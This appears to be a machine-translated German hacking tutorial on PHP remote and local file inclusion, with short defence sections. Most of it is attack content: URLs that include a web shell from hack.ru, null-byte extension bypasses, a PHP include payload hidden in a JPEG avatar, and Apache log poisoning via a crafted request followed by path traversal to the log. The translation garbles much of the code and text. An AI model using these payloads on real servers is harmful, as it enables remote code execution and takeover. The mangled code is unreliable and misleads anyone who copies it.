PHP-umfassen und wie schützen
Einführung
Globale umfassen Verwundbarkeit
Je schwerer der Schwachstellen des Web, aber leider oder zum Glück heutzutage äußerst selten gefunden. Zum Angriff ist es erforderlich, was würden allow_url_include Funktion aktiviert wurde, das heißt "On"Die Sicherheitsanfälligkeit kann ein Angreifer beliebigen PHP-Server-Code auszuführen.
In PHP gibt es vier Funktionen für Dateien in einem PHP-Skript, einschließlich:
* Include ();
* Include_once ();
* Require ();
* Require_once ().
Include () Funktion enthält den Inhalt der Datei in das Skript. Nehmen wir das Beispiel der "doppelten" anfällige Code:
<? Php if ($ _GET [ 'Seite' ]. '.php') { umfassen (_GET [ 'Seite' $ ] '.php . '); } sonst { include ($ file '.php'. ); } ?>Mit den Bedingungen prüfen wir , ob der Server über die URL übergeben Element des Arrays $ _GET [ 'Seite'], der Anruf include () Funktion. Aufgrund der Tatsache, dass der Wert des Arrays $ _GET [ 'page'] nicht auf die Existenz geprüft, mit Hilfe von file_exists () Funktion kann ein Angreifer einen Angriff montieren:
http://site.ru/index.php?page=http://hack.ru/shell
Ansonsten inkluda wir (. $ file 'php. enthalten '); Hier genau die gleiche Situation, nur Code schreiben, ein wenig anders ist. Die Variable $ file ist nicht Es war auf jeden Fall ein Anfang und ein Angreifer remote PHP-Code ausführen:
http://site.ru/index.php?file=http://hack.ru/shell
include_once () Funktion ist praktisch identisch mit der include (), mit einer Ausnahme: bevor die Programmdatei drehen, es prüft wenn es wurde zuvor aktiviert. Wenn die Datei bereits aufgenommen wurde, wird include_once () Aufruf ignoriert, und wenn nicht - es ist eine Standard - Aufnahme - Datei. <?php
include_once( $file . '.gif' ); ?>
); <?php
include_once( $file . '.gif' ); ?>
<?php
include_once( $file . '.gif' ); ?>
In diesem Beispiel wird eine Datei , die automatisch Erweiterung zugewiesen hochgeladen '.gif' Befreien Sie sich von der Erweiterung '.gif' auf zwei Arten:
1) wenn magic_quotes_gpc = Off können Sie die "giftigen Null" verwenden - 00% , die Verlängerung geschnitten wird
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) , auch wenn magic_quotes_gpc = On
http://site.ru/index.php?file=http://hack.ru/shell.php?
(Erforderlich) Funktion ist ähnlich der include (), mit einer Ausnahme - die Datei durch Parameter angegeben werden (), wird im Skript enthalten, unabhängig von ihrem Standort require () im Skript. <?php
require( $file );
?>
<?php
require( $file );
?>
Der Angriff ist ähnlich, aber in diesem Fall ist die Erweiterung nicht zugeschrieben: http://site.ru/index.php?page=http://hack.ru/shell.php
require_once () Funktion lädt die Datei in das Skript nur einmal. <?php
require_once( $file . '.php' );
?>
<?php
require_once( $file . '.php' );
?>
Der Angriff ist ähnlich ... Betrachten wir nun eine weitere Option inkluda. Zu diesem Zeitpunkt ist es notwendig , dass in php.ini verwendet
allow_url_fopen Parameterwert ist gleich auf, was der Standard ist.
PHP - Code:
<? Php $ F = fopen ( "$ file.php ", "r"); während (! feof ($ f) ) { $ S = fgets ($ f, 255); echo $ s; } fclose ($ f); ?>Aufgrund der Tatsache , dass die Variable $ Datei noch nicht bestimmt worden ist, kann der Angreifer einen Angriff durchführen:
http://site.ru/index.php?file=http://hack.ru/shell
Als Ergebnis erhält man wieder eine Web-Shell. Das folgende Beispiel - Verwendung ReadFile- () Funktion
<?php
readfile ( $file );
?>
<?php
readfile ( $file );
?>
Readfile () Funktion liest die Datei , deren Name als Parameter übergeben wird, und zeigt seinen Inhalt auf dem Bildschirm. Als Ergebnis erhalten wir wieder eine Web-Shell:
http://site.ru/index.php?file=http://hack.ru/shell
nun diese Option berücksichtigen: <?php
echo implode ( "" , file ( $file ));
?>
<?php
echo implode ( "" , file ( $file ));
?>
Die implodieren () Funktion verwenden, kombinieren wir die Elemente des Arrays in eine Zeichenfolge, die Datei () -Funktion den Inhalt einer Datei in ein Array erhalten. Als Ergebnis noch einmal, haben wir eine Web-Shell: http://site.ru/index.php?file=http://hack.ru/shell.php
Schutz gegen die globale inkluda
Natürlich können Sie die Datei überprüfen , indem file_exists () und filtern unerwünschte Zeichen mit str_replace () zu existieren, aber ich empfehle einen Entwurf Schaltergehäuse mit:<? Php global $ Seite; Schalter ($ page) { Fall '': include ( "pages / main.php") ; brechen; Fall 'index': include ( "pages / main.php") ; brechen; Fall 'Seite1': include ( "Seiten / Ordner / page1.php "); brechen; Fall 'page2': include ( "Seiten / Ordner / page2.php "); brechen; Standard: include ( "pages / hack.php") ; brechen; } ?>So empfehle ich die php.ini - Datei zu bearbeiten:
allow_url_include = Aus // Ist die Dateien inkluda nicht entfernen allow_url_fopen = Off // verbieten fopen Links zu öffnen register_globals = off // deaktivieren Sie die Initialisierung der globalen Variablen safe_mode = On // umfassen safe_mode (bei Hecker wird keinen Zugriff auf das Verzeichnis / etc / passwd und wie er) |
Lokale schließen Verwundbarkeit
Nicht weniger gefährlich Schwachstelle im Internet. Es ermöglicht einem Angreifer Dateien auf einem Server liegen auf inkluda. Viele Neulinge diesen Fehler stoßen Web-Codierung werfen Angelegenheit, weil nicht wissen, wie es weitergeht und in welcher Richtung zu graben. Ich werde ein allgemeines Beispiel geben:<?php
include( "include/$file" );
?>
<?php
include( "include/$file" );
?>
Globale proinkludit nicht passieren, weil die Variable $ Datei nach dem Verzeichnis zugeordnet wird / include /
Was kann getan werden?
Das Ideal ist ein Fall, in dem die Seite ist, oder ein Forum oder eine andere Form, die verwendet werden können, eine beliebige Datei eine beliebige Erweiterung c zum Download bereit.
Stellt sich die Frage - warum mit jeder Erweiterung? Nehmen Sie zum Beispiel eine fiktive Ort, wo es möglich ist, Avatare durch das Forum zum Download bereit. Das Forum ist ein Skript, das prüft, - ob der Benutzer tatsächlich das Foto hochgeladen? Öffnen Sie die Farbe und halten jedes Bild zum Beispiel im jpg-Format. Dann sein Notizbuch öffnen und dann den Code Bild schreiben < ? Php include ( "http://hack.ru/shell.php") ?; ?> Als Ergebnis erhalten wir etwa folgendes Bild:
yaShyaa JFIF `` Yay C $. ' "# (7) 01 444 '9 = 82 <C .342yaY 2! ! 222222222222222222222222222222222222222222222 22222yaA 6. Juni "Gift Yad μ}! 1A Qa "q 2Ѓ'Ў # B ± B Rav $ 3br, % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · ё№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD Yad μ w! 1 AQ aq "2Ѓ B'Ў ± B # 3RR BRS $ 4b% bis & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ "... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · ё№єVGDEZhZIYKTUFHTsChShSchvgde zhziyktufhtschshschya? ch (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ЎЂ? Crate <? Php include ( "http://hack.ru/shell.php") ?; ?>Jetzt können Sie ein Bild auf das Forum hochladen und es wird von ihm als Bild wahrgenommen werden
Lassen Sie uns auf die Frage der Expansion zurückzukehren. Warum passen wir jemand? Die Tatsache, dass die Funktion include ()
lädt den Code aus einer Datei in die ausführbare Datei. Hier ist ein Beispiel:
http://www.site.com/index.php?include=../forum/images/shell.jpg
Als Ergebnis sind der Code in der Datei index.php, <? php ( "http://hack.ru/ shell.php ");
?>
Logs apatcha
Wie gut hält Apache bekannt ist , eine Protokolldatei httpd-access.log und httpd-error.log und alle Anfragennatürlich protokolliert und an die entsprechenden Dateien geschrieben. Hier ist ein Beispiel von ihrem Standort:
/logs/error.log /logs/access.log / Logs / error_log / Logs / access_log / Var / log / error_log / Var / log / access_log /var/log/error.log /var/log/access.log / Var / www / logs / error_log /var/www/logs/error.log / Var / www / logs / access_log /var/www/logs/access.log / Var / log / apache / error_log /var/log/apache/error.log / Var / log / apache / access_log /var/log/apache/access.log /var/log/httpd/error.log /var/log/httpd/access.log / Var / log / httpd / error_log / Var / log / httpd / access_log /apache/logs/error.log /apache/logs/access.log / Apache / logs / error_log / Apache / logs / access_log Verzeichnis / usr / local / apache / logs / error_log /usr/local/apache/logs/error.log Verzeichnis / usr / local / apache / logs / access_log /usr/local/apache/logs/access.log / Home / www / logs / error_log /home/www/logs/error.log / Home / www / logs / access_log /home/www/logs/access.logIch will ein Beispiel geben zu lokalhoste, ich glaube, viele wird klarer. Mit InetCrack Programm senden ich ein Paket solcher Inhalte:
GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Titel Paket wird in den Protokollen apatcha aufgezeichnet an der Adresse: Z:\usr\local\apache\logs\access.log
\ logs \ ACCESS.LOG Dh wird eine solche Zeile in die Datei , deren Name geschrieben wird , endet: 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
?; HTTP (" http://hack.ru/shell.php ")> 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
ich denke , die Essenz ist klar. Es bleibt seine proinkludit: http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
/ .. / .. / usr / local / apache / logs / access.log? Und Sie erhalten eine Web-Schale Schutz vor lokalen inkluda
Hier ist ein kleines Beispiel wie Sie sicher schützen:<? Php
Funktion stripslashes_for_array (& $ array)
{
Reset ($ array);
while (list ($ key, $ val) = each ($ array))
{
if (is_string ($ val)) $ array [$ key] = strip ($ val);
elseif (is_array ($ val)) $ array [$ key] = stripslashes_for_array ($ val);
}
return $ Array;
}
if (! get_magic_quotes_gpc ())
{
stripslashes_for_array ($ _POST);
stripslashes_for_array ($ _GET);
}
if (isset ($ _GET [ ' Datei'])) $ file = $ _GET [ 'Datei'];
sonst
{
if (isset ($ _POST [ ' Datei'])) $ file = $ _POST [ 'Datei']; sonst $ file = ''; } $ File = str_replace ( '/' , '', $ file); $ File = str_replace ( '' , $ file ' . '); if (! file_exists ( "include" . '/'. $ file. '.php') || $ file == 'index') { $ File = 'Nachrichten'; } include ( "include" '/' $ file '.php' ...); ?>
Und so, was passiert dann? Jedes Element ist Funktion strip geprüft (). Es tötet Backslash. Dann überprüfen Sie die installierte oder nicht den Wert des Array-Elements. Otfiltrovuem ungültige Zeichen ( '/', '.') Funktion str_replace (). Wenn die Datei nicht existiert (überprüfen Sie die file_exists () -Funktion) - einen Wert von "Nachrichten" der Variable $ file = zuweisen. In anderen Fällen (wenn die Datei existiert) inkluda es.
Kommentare
im Auge kommentierte halten , dass der Inhalt und der Ton Ihrer Nachrichten , die Gefühle von echten Menschen verletzen können, Respekt und Toleranz gegenüber seinen Gesprächspartnern, auch wenn Sie Ihr Verhalten in Bezug auf die Meinungsfreiheit und die Anonymität des Internets, ändert ihre Meinung nicht teilen, nicht nur virtuell, sondern realen Welt. Alle Kommentare werden aus dem Index, Spam - Kontrolle versteckt.